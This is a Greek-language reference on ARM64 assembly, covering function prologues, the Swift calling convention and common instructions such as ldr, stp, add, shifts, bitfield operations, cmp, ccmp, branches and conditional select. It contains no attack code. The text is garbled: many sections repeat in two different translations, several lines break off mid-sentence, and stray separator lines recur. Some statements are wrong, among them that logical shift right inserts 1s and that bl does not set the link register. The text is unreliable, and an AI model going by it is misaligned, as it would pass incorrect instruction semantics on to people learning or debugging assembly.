Όταν διαβάζετε μια συνάρτηση σε assembly, αναζητήστε τον **πρόλογο και το επιλόγιο** της συνάρτησης. Ο **πρόλογος** συνήθως περιλαμβάνει **αποθήκευση του δείκτη πλαισίου (`x29`)**, **ρύθμιση** ενός **νέου δείκτη πλαισίου**, και **κατανομή χώρου στοίβας**. Το **επιλόγιο** συνήθως περιλαμβάνει **αποκατάσταση του αποθηκευμένου δείκτη πλαισίου** και **επιστροφή** από τη συνάρτηση.
|
||||
|
||||
### Σύμβαση Κλήσης στη Swift
|
||||
|
||||
Η Swift έχει τη δική της **σύμβαση κλήσης** που μπορεί να βρεθεί στο [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#
|
||||
Η Swift έχει τη δική της **σύμβαση κλήσης** που μπορεί να βρεθεί στο [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Κοινές Εντολές (ARM64v8)**
|
||||
|
||||
Οι εντολές ARM64 γενικά έχουν τη **μορφή `opcode dst, src1, src2`**, όπου **`opcode`** είναι η **λειτουργία** που θα εκτελεστεί (όπως `add`, `sub`, `mov`, κ.λπ.), **`dst`** είναι ο **καταχωρητής προορισμού** όπου θα αποθηκευτεί το αποτέλεσμα, και **`src1`** και **`src2`** είναι οι **καταχωρητές πηγής**. Οι άμεσες τιμές μπορούν επίσης να χρησιμοποιηθούν αντί για καταχωρητές πηγής.
|
||||
|
||||
* **`mov`**: **Μεταφορά** μιας τιμής από έναν **καταχωρητή** σε έναν άλλο.
|
||||
* Παράδειγμα: `mov x0, x1` — Αυτό μεταφέρει την τιμή από `x1` στο `x0`.
|
||||
* **`ldr`**: **Φόρτωση** μιας τιμής από **μνήμη** σε έναν **καταχωρητή**.
|
||||
* Παράδειγμα: `ldr x0, [x1]` — Αυτό φορτώνει μια τιμή από τη διεύθυνση μνήμης που υποδεικνύεται από το `x1` στο `x0`.
|
||||
* **Λειτουργία Offset**: Ένα offset που επηρεάζει τον αρχικό δείκτη υποδεικνύεται, για παράδειγμα:
|
||||
* `ldr x2, [x1, #8]`, αυτό θα φορτώσει στο x2 την τιμή από x1 + 8
|
||||
* `ldr x2, [x0, x1, lsl #2]`, αυτό θα φορτώσει στο x2 ένα αντικείμενο από τον πίνακα x0, από τη θέση x1 (δείκτης) \* 4
|
||||
* **Προκαθορισμένη Λειτουργία**: Αυτό θα εφαρμόσει υπολογισμούς στον αρχικό δείκτη, θα πάρει το αποτέλεσμα και θα αποθηκεύσει επίσης τον νέο αρχικό δείκτη στον αρχικό δείκτη.
|
||||
* `ldr x2, [x1, #8]!`, αυτό θα φορτώσει το `x1 + 8` στο `x2` και θα αποθηκεύσει στο x1 το αποτέλεσμα του `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Αποθήκευση του καταχωρητή σύνδεσης στο sp και ενημέρωση του καταχωρητή sp
|
||||
* **Μετά την Ενημέρωση Λειτουργία**: Αυτό είναι όπως η προηγούμενη αλλά η διεύθυνση μνήμης προσπελάζεται και στη συνέχεια υπολογίζεται και αποθηκεύεται το offset.
|
||||
* `ldr x0, [x1], #8`, φορτώνει το `x1` στο `x0` και ενημερώνει το x1 με `x1 + 8`
|
||||
* **Διεύθυνση Σχετική με το PC**: Σε αυτή την περίπτωση, η διεύθυνση που θα φορτωθεί υπολογίζεται σχετική με τον καταχωρητή PC
|
||||
* `ldr x1, =_start`, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο `_start` στο x1 σχετική με το τρέχον PC.
|
||||
* **`str`**: **Αποθήκευση** μιας τιμής από έναν **καταχωρητή** σε **μνήμη**.
|
||||
* Παράδειγμα: `str x0, [x1]` — Αυτό αποθηκεύει την τιμή στο `x0` στη διεύθυνση μνήμης που υποδεικνύεται από το `x1`.
|
||||
* **`ldp`**: **Φόρτωση Ζεύγους Καταχωρητών**. Αυτή η εντολή **φορτώνει δύο καταχωρητές** από **διαδοχικές μνήμες**. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.
|
||||
* Παράδειγμα: `ldp x0, x1, [x2]` — Αυτό φορτώνει το `x0` και το `x1` από τις διευθύνσεις μνήμης στο `x2` και `x2 + 8`, αντίστοιχα.
|
||||
* **`stp`**: **Αποθήκευση Ζεύγους Καταχωρητών**. Αυτή η εντολή **αποθηκεύει δύο καταχωρητές** σε **διαδοχικές μνήμες**. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.
|
||||
* Παράδειγμα: `stp x0, x1, [sp]` — Αυτό αποθηκεύει το `x0` και το `x1` στις διευθύνσεις μνήμης στο `sp` και `sp + 8`, αντίστοιχα.
|
||||
* `stp x0, x1, [sp, #16]!` — Αυτό αποθηκεύει το `x0` και το `x1` στις διευθύνσεις μνήμης στο `sp+16` και `sp + 24`, αντίστοιχα, και ενημερώνει το `sp` με `sp+16`.
|
||||
* **`add`**: **Προσθέτει** τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
* Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Xn1 -> Προορισμός
|
||||
* Xn2 -> Τελεστής 1
|
||||
* Xn3 | #imm -> Τελεστής 2 (καταχώρηση ή άμεσο)
|
||||
* \[shift #N | RRX] -> Εκτέλεση μετατόπισης ή κλήση RRX
|
||||
* Παράδειγμα: `add x0, x1, x2` — Αυτό προσθέτει τις τιμές στα `x1` και `x2` μαζί και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
* Xn2 -> Λειτουργία 1
|
||||
* Xn3 | #imm -> Λειτουργία 2 (καταχωρητής ή άμεσο)
|
||||
* \[shift #N | RRX] -> Εκτέλεση μιας μετατόπισης ή κλήση RRX
|
||||
* Παράδειγμα: `add x0, x1, x2` — Αυτό προσθέτει τις τιμές στο `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Αυτό ισούται με 4096 (ένα 1 μετατοπισμένο 12 φορές) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Αυτό εκτελεί μια `add` και ενημερώνει τις σημαίες
|
||||
* **`sub`**: **Αφαίρεση** των τιμών δύο καταχωρήσεων και αποθήκευση του αποτελέσματος σε μια καταχώρηση.
|
||||
* Ελέγξτε τη **σύνταξη του `add`**.
|
||||
* **`adds`** Αυτή εκτελεί μια `add` και ενημερώνει τις σημαίες
|
||||
* **`sub`**: **Αφαιρεί** τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
* Ελέγξτε τη **σύνταξη `add`**.
|
||||
* Παράδειγμα: `sub x0, x1, x2` — Αυτό αφαιρεί την τιμή στο `x2` από το `x1` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
* **`subs`** Αυτό είναι σαν το sub αλλά ενημερώνει τη σημαία
|
||||
* **`mul`**: **Πολλαπλασιασμός** των τιμών δύο καταχωρήσεων και αποθήκευση του αποτελέσματος σε μια καταχώρηση.
|
||||
* Παράδειγμα: `mul x0, x1, x2` — Αυτό πολλαπλασιάζει τις τιμές στα `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
* **`div`**: **Διαίρεση** της τιμής μιας καταχώρησης με μια άλλη και αποθήκευση του αποτελέσματος σε μια καταχώρηση.
|
||||
* **`subs`** Αυτό είναι όπως το sub αλλά ενημερώνει τη σημαία
|
||||
* **`mul`**: **Πολλαπλασιάζει** τις τιμές **δύο καταχωρητών** και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
* Παράδειγμα: `mul x0, x1, x2` — Αυτό πολλαπλασιάζει τις τιμές στο `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
* **`div`**: **Διαιρεί** την τιμή ενός καταχωρητή με έναν άλλο και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
* Παράδειγμα: `div x0, x1, x2` — Αυτό διαιρεί την τιμή στο `x1` με το `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Λογική μετατόπιση αριστερά**: Προσθήκη 0 από το τέλος μετακινώντας τα υπόλοιπα bits προς τα εμπρός (πολλαπλασιασμός κατά n φορές 2)
|
||||
* **Λογική μετατόπιση δεξιά**: Προσθήκη 1 στην αρχή μετακινώντας τα υπόλοιπα bits προς τα πίσω (διαίρεση κατά n φορές 2 σε μη υπογραφόμενο)
|
||||
* **Αριθμητική μετατόπιση δεξιά**: Όπως το **`lsr`**, αλλά αντί να προσθέτει 0 αν το πιο σημαντικό bit είναι 1, προστίθενται 1 (\*\*διαίρεση κατά n φορές 2 σε υπογραφόμενο)
|
||||
* **Περιστροφή δεξιά**: Όπως το **`lsr`** αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά
|
||||
* **Περιστροφή Δεξιά με Επέκταση**: Όπως το **`ror`**, αλλά με τη σημαία μεταφοράς ως "πιο σημαντικό bit". Έτσι, η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρούμενο bit στη σημαία μεταφοράς.
|
||||
* **`bfm`**: **Μετακίνηση Πεδίου Μπιτ**, αυτές οι λειτουργίες **αντιγράφουν τα bits `0...n`** από μια τιμή και τα τοποθετούν σε θέσεις **`m..m+n`**. Το **`#s`** καθορίζει τη θέση του **αριστερότερου bit** και το **`#r`** την **ποσότητα δεξιάς περιστροφής**.
|
||||
* Μετακίνηση πεδίου μπιτ: `BFM Xd, Xn, #r`
|
||||
* Μετακίνηση πεδίου μπιτ με πρόσημο: `SBFM Xd, Xn, #r, #s`
|
||||
* Μετακίνηση πεδίου μπιτ χωρίς πρόσημο: `UBFM Xd, Xn, #r, #s`
|
||||
* **Εξαγωγή και Εισαγωγή Πεδίου Μπιτ:** Αντιγράφει ένα πεδίο μπιτ από μια καταχώρηση και το αντιγράφει σε μια άλλη καταχώρηση.
|
||||
* **`BFI X1, X2, #3, #4`** Εισαγωγή 4 bits από το X2 από το 3ο bit του X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Εξαγωγή από το 3ο bit του X2 τέσσερα bits και αντιγραφή τους στο X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Επέκταση με πρόσημο 4 bits από το X2 και εισαγωγή τους στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
* **`SBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, επεκτείνει το πρόσημο τους και τοποθετεί το αποτέλεσμα στο X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Επέκταση μηδενικού προσημού 4 bits από το X2 και εισαγωγή τους στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
* **`UBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το αποτέλεσμα με επέκταση μηδενικού προσημού στο X1.
|
||||
* **Επέκταση Προσήμου Σε X:** Επεκτείνει το πρόσημο (ή προσθέτει απλώς 0 στη μη υπογραφόμενη έκδοση) μιας τιμής για να είναι δυνατές οι λειτουργίες με αυτή:
|
||||
* **`SXTB X1, W2`** Επεκτείνει το πρόσημο ενός byte **από W2 σε X1** (`W2` είναι το μισό του `X2`) για να γεμίσει τα 64bits
|
||||
* **`SXTH X1, W2`** Επεκτείνει το πρόσημο ενός 16bit αριθμού **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
* **`SXTW X1, W2`** Επεκτείνει το πρόσημο ενός byte **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
* **`UXTB X1, W2`** Προσθέτει 0 (μη υπογραφόμενο) σε ένα byte **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
* **`extr`:** Εξάγει bits από ένα συγκεκριμένο **ζεύγος καταχωρήσεων που ενωθήκαν**.
|
||||
* Παράδειγμα: `EXTR W3, W2, W1, #3` Αυτό θα **ενώσει το W1+W2** και θα πάρει **από το bit 3 του W2 μέχρι το bit 3 του W1** και θα το αποθηκεύσει στο W3.
|
||||
* **`cmp`**: **Σύγκριση** δύο καταχωρήσεων και ρύθμιση σημαίων συνθηκών. Είναι ένας **ψευδώνυμος του `subs`** με την ρύθμιση της καταχώρησης προορισμού στη μηδενική καταχώρηση. Χρήσιμο για να γνωρίζετε αν `m == n`.
|
||||
* Υποστηρίζει την **ίδια σύνταξη με το `subs`**
|
||||
* Παράδειγμα: `cmp x0, x1` — Αυτό συγκρίνει τις τιμές στα `x0` και `x1` και ρυθμίζει τα σημαία συνθηκών αναλόγως.
|
||||
* **`cmn`**: **Σύγκριση αρνητικού** τελεστή. Σε αυτήν την περίπτωση είναι ένας **ψευδώνυμο του `adds`** και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε αν `m == -n`.
|
||||
* **`ccmp`**: Συνθήκες σύγκρισης, είναι μια σύγκριση που θα πραγματοποιηθεί μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει ειδικά τα bits nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> αν x1 != x2 και x3 < x4, μετάβαση στη λειτουργία
|
||||
* Αυτό οφείλεται στο γεγονός ότι το **`ccmp`** θα εκτελεστεί μόνο αν η **προηγούμενη `cmp` ήταν ένα `NE`**, αν δεν ήταν, τα bits `nzcv` θα οριστούν σε 0 (που δεν θα ικανοποιήσει τη σ
|
||||
* **`b.ne`**: **Branch if Not Equal**. Αυτή η εντολή ελέγχει τα σημαία συνθηκών (τα οποία έχουν οριστεί από μια προηγούμενη εντολή σύγκρισης) και αν οι τιμές που συγκρίθηκαν δεν ήταν ίσες, τότε μεταβαίνει σε ένα ετικέτα ή διεύθυνση.
|
||||
* Παράδειγμα: Μετά από μια εντολή `cmp x0, x1`, `b.ne label` — Αν οι τιμές στα `x0` και `x1` δεν ήταν ίσες, τότε αυτό μεταβαίνει στην `label`.
|
||||
* **`cbz`**: **Σύγκριση και Μετάβαση σε Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν και αν είναι ίσοι, μεταβαίνει σε μια ετικέτα ή διεύθυνση.
|
||||
* Παράδειγμα: `cbz x0, label` — Αν η τιμή στο `x0` είναι μηδέν, τότε αυτό μεταβαίνει στην `label`.
|
||||
* **`cbnz`**: **Σύγκριση και Μετάβαση σε Μη Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν και αν δεν είναι ίσοι, μεταβαίνει σε μια ετικέτα ή διεύθυνση.
|
||||
* Παράδειγμα: `cbnz x0, label` — Αν η τιμή στο `x0` δεν είναι μηδέν, τότε αυτό μεταβαίνει στην `label`.
|
||||
* **`tbnz`**: Δοκιμάζει το bit και μεταβαίνει σε μη μηδέν
|
||||
* **Λογική μετατόπιση αριστερά**: Προσθέτει 0s από το τέλος μετακινώντας τα άλλα bits προς τα εμπρός (πολλαπλασιάζει με n-φορές 2)
|
||||
* **Λογική μετατόπιση δεξιά**: Προσθέτει 1s στην αρχή μετακινώντας τα άλλα bits προς τα πίσω (διαιρεί με n-φορές 2 σε μη υπογεγραμμένα)
|
||||
* **Αριθμητική μετατόπιση δεξιά**: Όπως **`lsr`**, αλλά αντί να προσθέτει 0s αν το πιο σημαντικό bit είναι 1, **προστίθενται 1s** (διαιρεί με n-φορές 2 σε υπογεγραμμένα)
|
||||
* **Μετατόπιση δεξιά**: Όπως **`lsr`** αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά
|
||||
* **Μετατόπιση Δεξιά με Επέκταση**: Όπως **`ror`**, αλλά με τη σημαία μεταφοράς ως το "πιο σημαντικό bit". Έτσι η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρεθέν bit στη σημαία μεταφοράς.
|
||||
* **`bfm`**: **Μεταφορά Bit Field**, αυτές οι λειτουργίες **αντιγράφουν bits `0...n`** από μια τιμή και τα τοποθετούν σε θέσεις **`m..m+n`**. Το **`#s`** καθορίζει τη **θέση του αριστερού bit** και το **`#r`** την **ποσότητα μετατόπισης δεξιά**.
|
||||
* Μεταφορά bitfield: `BFM Xd, Xn, #r`
|
||||
* Υπογεγραμμένη μεταφορά bitfield: `SBFM Xd, Xn, #r, #s`
|
||||
* Μη υπογεγραμμένη μεταφορά bitfield: `UBFM Xd, Xn, #r, #s`
|
||||
* **Εξαγωγή και Εισαγωγή Bitfield:** Αντιγράφει ένα bitfield από έναν καταχωρητή και το αντιγράφει σε έναν άλλο καταχωρητή.
|
||||
* **`BFI X1, X2, #3, #4`** Εισάγει 4 bits από το X2 από το 3ο bit του X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Εξάγει από το 3ο bit του X2 τέσσερα bits και τα αντιγράφει στο X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Επεκτείνει το σήμα 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
* **`SBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 του X2, επεκτείνει το σήμα τους και τοποθετεί το αποτέλεσμα στο X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Μηδενίζει 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
* **`UBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 του X2 και τοποθετεί το μηδενισμένο αποτέλεσμα στο X1.
|
||||
* **Επέκταση Σημασίας σε X:** Επεκτείνει το σήμα (ή προσθέτει απλώς 0s στην μη υπογεγραμμένη έκδοση) μιας τιμής για να μπορέσει να εκτελέσει λειτουργίες με αυτήν:
|
||||
* **`SXTB X1, W2`** Επεκτείνει το σήμα ενός byte **από το W2 στο X1** (`W2` είναι το μισό του `X2`) για να γεμίσει τα 64bits
|
||||
* **`SXTH X1, W2`** Επεκτείνει το σήμα ενός 16bit αριθμού **από το W2 στο X1** για να γεμίσει τα 64bits
|
||||
* **`SXTW X1, W2`** Επεκτείνει το σήμα ενός byte **από το W2 στο X1** για να γεμίσει τα 64bits
|
||||
* **`UXTB X1, W2`** Προσθέτει 0s (μη υπογεγραμμένα) σε ένα byte **από το W2 στο X1** για να γεμίσει τα 64bits
|
||||
* **`extr`:** Εξάγει bits από ένα καθορισμένο **ζεύγος καταχωρητών που συνδυάζονται**.
|
||||
* Παράδειγμα: `EXTR W3, W2, W1, #3` Αυτό θα **συνδυάσει W1+W2** και θα πάρει **από το bit 3 του W2 έως το bit 3 του W1** και θα το αποθηκεύσει στο W3.
|
||||
* **`cmp`**: **Συγκρίνει** δύο καταχωρητές και ρυθμίζει τις σημαίες συνθηκών. Είναι ένα **ψευδώνυμο του `subs`** ρυθμίζοντας τον καταχωρητή προορισμού στο μηδενικό καταχωρητή. Χρήσιμο για να γνωρίζετε αν `m == n`.
|
||||
* Υποστηρίζει την **ίδια σύνταξη με `subs`**
|
||||
* Παράδειγμα: `cmp x0, x1` — Αυτό συγκρίνει τις τιμές στο `x0` και `x1` και ρυθμίζει τις σημαίες συνθηκών αναλόγως.
|
||||
* **`cmn`**: **Συγκρίνει αρνητικό** τελεστή. Σε αυτή την περίπτωση είναι ένα **ψευδώνυμο του `adds`** και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε αν `m == -n`.
|
||||
* **`ccmp`**: Συνθήκη σύγκρισης, είναι μια σύγκριση που θα εκτελείται μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα bits nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> αν x1 != x2 και x3 < x4, πηγαίνετε στη func
|
||||
* Αυτό συμβαίνει επειδή **`ccmp`** θα εκτελείται μόνο αν η **προηγούμενη `cmp` ήταν `NE`**, αν δεν ήταν τα bits `nzcv` θα ρυθμιστούν σε 0 (που δεν θα ικανοποιήσει τη σύγκριση `blt`).
|
||||
* Αυτό μπορεί επίσης να χρησιμοποιηθεί ως `ccmn` (το ίδιο αλλά αρνητικό, όπως `cmp` έναντι `cmn`).
|
||||
* **`tst`**: Ελέγχει αν οποιαδήποτε από τις τιμές της σύγκρισης είναι και οι δύο 1 (λειτουργεί όπως μια ANDS χωρίς να αποθηκεύει το αποτέλεσμα οπουδήποτε). Είναι χρήσιμο για να ελέγξετε έναν καταχωρητή με μια τιμή και να δείτε αν οποιοδήποτε από τα bits του καταχωρητή που υποδεικνύεται στην τιμή είναι 1.
|
||||
* Παράδειγμα: `tst X1, #7` Ελέγξτε αν οποιοδήποτε από τα τελευταία 3 bits του X1 είναι 1
|
||||
* **`teq`**: Λειτουργία XOR απορρίπτοντας το αποτέλεσμα
|
||||
* **`b`**: Ανεξάρτητη Κλάση
|
||||
* Παράδειγμα: `b myFunction`
|
||||
* Σημειώστε ότι αυτό δεν θα γεμίσει τον καταχωρητή σύνδεσης με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτίνων που χρειάζονται επιστροφή)
|
||||
* **`bl`**: **Κλάδος** με σύνδεση, χρησιμοποιείται για **να καλέσει** μια **υπορουτίνα**. Αποθηκεύει τη **διεύθυνση επιστροφής στο `x30`**.
|
||||
* Παράδειγμα: `bl myFunction` — Αυτό καλεί τη συνάρτηση `myFunction` και αποθηκεύει τη διεύθυνση επιστροφής στο `x30`.
|
||||
* Σημειώστε ότι αυτό δεν θα γεμίσει τον καταχωρητή σύνδεσης με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτίνων που χρειάζονται επιστροφή)
|
||||
* **`blr`**: **Κλάδος** με Σύνδεση σε Καταχωρητή, χρησιμοποιείται για **να καλέσει** μια **υπορουτίνα** όπου ο στόχος είναι **καθορισμένος** σε έναν **καταχωρητή**. Αποθηκεύει τη διεύθυνση επιστροφής στο `x30`. (Αυτό είναι
|
||||
* Παράδειγμα: `blr x1` — Αυτό καλεί τη συνάρτηση της οποίας η διεύθυνση περιέχεται στο `x1` και αποθηκεύει τη διεύθυνση επιστροφής στο `x30`.
|
||||
* **`ret`**: **Επιστροφή** από **υπορουτίνα**, συνήθως χρησιμοποιώντας τη διεύθυνση στο **`x30`**.
|
||||
* Παράδειγμα: `ret` — Αυτό επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στο `x30`.
|
||||
* **`b.<cond>`**: Συνθήκες κλάσης
|
||||
* **`b.eq`**: **Κλάδος αν ίσος**, με βάση την προηγούμενη εντολή `cmp`.
|
||||
* Παράδειγμα: `b.eq label` — Εάν η προηγούμενη εντολή `cmp` βρήκε δύο ίσες τιμές, αυτό πηγαίνει στην `label`.
|
||||
* **`b.ne`**: **Κλάδος αν Όχι Ίσος**. Αυτή η εντολή ελέγχει τις σημαίες συνθηκών (οι οποίες ρυθμίστηκαν από μια προηγούμενη εντολή σύγκρισης), και αν οι συγκρινόμενες τιμές δεν ήταν ίσες, κλάδος σε μια ετικέτα ή διεύθυνση.
|
||||
* Παράδειγμα: Μετά από μια εντολή `cmp x0, x1`, `b.ne label` — Εάν οι τιμές στο `x0` και `x1` δεν ήταν ίσες, αυτό πηγαίνει στην `label`.
|
||||
* **`cbz`**: **Σύγκριση και Κλάδος σε Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κλάδος σε μια ετικέτα ή διεύθυνση.
|
||||
* Παράδειγμα: `cbz x0, label` — Εάν η τιμή στο `x0` είναι μηδέν, αυτό πηγαίνει στην `label`.
|
||||
* **`cbnz`**: **Σύγκριση και Κλάδος σε Μη Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κλάδος σε μια ετικέτα ή διεύθυνση.
|
||||
* Παράδειγμα: `cbnz x0, label` — Εάν η τιμή στο `x0` είναι μη μηδέν, αυτό πηγαίνει στην `label`.
|
||||
* **`tbnz`**: Δοκιμή bit και κλάδος σε μη μηδέν
|
||||
* Παράδειγμα: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Δοκιμάζει το bit και μεταβαίνει σε μηδέν
|
||||
* **`tbz`**: Δοκιμή bit και κλάδος σε μηδέν
|
||||
* Παράδειγμα: `tbz x0, #8, label`
|
||||
* **Λειτουργίες επιλογής με συνθήκη**: Αυτές είναι λειτουργίες οι οποίες συμπεριφέρονται διαφορετικά ανάλογα με τα συνθηκικά bits.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Αν είναι αληθές, X0 = X1, αν είναι ψευδές, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Αν είναι αληθές, Xd = Xn + 1, αν είναι ψευδές, Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> Αν είναι αληθές, Xd = NOT(Xn), αν είναι ψευδές, Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Αν είναι αληθές, Xd = - Xn, αν είναι ψευδές, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = 1, αν είναι ψευδές, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = \<όλα 1>, αν είναι ψευδές, Xd = 0
|
||||
* **`adrp`**: Υπολογίζει τη **διεύθυνση σελίδας ενός συμβόλου** και την αποθηκεύει σε έναν καταχωρητή.
|
||||
* **Συνθήκες επιλεγμένων λειτουργιών**: Αυτές είναι λειτουργίες των οποίων η συμπεριφορά ποικίλλει ανάλογα με τα bits συνθηκών.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Εάν είναι αληθές, X0 = X1, εάν είναι ψευδές, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Εάν είναι αληθές, Xd = Xn + 1, εάν είναι ψευδές, Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> Εάν είναι αληθές, Xd = NOT(Xn), εάν είναι ψευδές, Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Εάν είναι αληθές, Xd = - Xn, εάν είναι ψευδές, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = 1, εάν είναι ψευδές, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = \<όλα 1>, εάν είναι ψευδές, Xd = 0
|
||||
* **`adrp`**: Υπολογίστε τη **διεύθυνση σελίδας ενός συμβόλου** και αποθηκεύστε την σε έναν καταχωρητή.
|
||||
* Παράδειγμα: `adrp x0, symbol` — Αυτό υπολογίζει τη διεύθυνση σελίδας του `symbol` και την αποθηκεύει στο `x0`.
|
||||
* **`ldrsw`**: **Φορτώνει** μια υπογραφόμενη **32-μπιτη** τιμή από τη μνήμη και **επεκτείνει το πρόσημό της σε 64** bits.
|
||||
* Παράδειγμα: `ldrsw x0, [x1]` — Αυτό φορτώνει μια υπογραφόμενη τιμή 32 bits από τη θέση μνήμης στην οποία δείχνει το `x1`, επεκτείνει το πρόσημό της σε 64 bits και την αποθηκεύει στο `x0`.
|
||||
* **`stur`**: **Αποθηκεύει μια τιμή καταχωρητή σε μια θέση μνήμης**, χρησιμοποιώντας ένα μετατόπιση από έναν άλλο καταχωρητή.
|
||||
* Παράδειγμα: `stur x0, [x1, #4]` — Αυτό αποθηκεύει την τιμή στο `x0` στη θέση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που υπάρχει αυτή τη στιγμή στο `x1`.
|
||||
* **`svc`** : Κάνει μια **κλήση συστήματος**. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, **μεταβαίνει από τη λειτουργία χρήστη στη λειτουργία πυρήνα** και μεταβαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού κλήσης συστήματος του πυρήνα.
|
||||
* **`ldrsw`**: **Φόρτωση** μιας υπογεγραμμένης **32-bit** τιμής από τη μνήμη και **επέκταση της υπογραφής σε 64** bits.
|
||||
* Παράδειγμα: `ldrsw x0, [x1]` — Αυτό φορτώνει μια υπογεγραμμένη 32-bit τιμή από τη διεύθυνση μνήμης που υποδεικνύεται από το `x1`, την επεκτείνει σε 64 bits και την αποθηκεύει στο `x0`.
|
||||
